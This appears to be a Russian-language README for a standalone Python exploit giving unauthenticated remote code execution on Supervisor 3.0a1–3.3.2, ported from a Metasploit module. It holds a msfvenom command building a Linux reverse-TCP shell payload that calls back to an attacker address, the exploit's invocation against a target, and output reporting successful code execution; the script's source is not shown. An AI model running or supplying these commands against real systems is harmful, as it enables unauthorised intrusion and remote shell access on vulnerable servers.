
Автономный Python ≥3.6 RCE Unauthenticated exploit для Supervisor 3.0a1 до 3.3.2
Автономный эксплойт на Python ≥3.6 для неаутентифицированного удаленного выполнения кода в Supervisor 3.0a1 - 3.3.2, переписанный из этого модуля Metasploit. Пояснительная запись здесь.
Протестировано с Python 3.7 на этой цели, работающей под Supervisor 3.3.2
root@Kali:~/Infosec/RubyStuff/Supervisor-3.3.2# ./exploit.py -h
usage: exploit.py [-h] -rhost RHOST [-rport RPORT] -payload PAYLOAD
[-rpcpath RPCPATH]
Сначала сгенерируйте полезную нагрузку, например:
msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.92.134 LPORT=4445 -f elf -o dir/payload.elf
Обязательные аргументы:
-rhost RHOST Целевой хост с Supervisor, например 192.168.92.153
-payload PAYLOAD Путь к ELF-полезной нагрузке, например dir/payload.elf
Необязательные аргументы:
-rport RPORT Порт цели, на котором работает Supervisor. По умолчанию: 9001
-rpcpath RPCPATH Путь к конечной точке XML-RPC на Supervisor. По умолчанию: '/RPC2' как в http://192.168.92.153:9001/RPC2
Запустите эксплойт так:
./exploit.py -rhost 192.168.92.153 -rport 9001 -rpcpath /RPC2 -payload dir/payload.elf
root@Kali:~/Infosec/RubyStuff/Supervisor-3.3.2# msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.92.134 LPORT=4445 -f elf -o payload.elf
No encoder or badchars specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: payload.elf
root@Kali:~/Infosec/RubyStuff/Supervisor-3.3.2# ./exploit.py -rhost 192.168.92.153 -payload payload.elf
Extracting version from web interface..
Vulnerable version found: 3.3.2
Sending XML-RPC payload via POST to 192.168.92.153:9001/RPC2
Successful remote code execution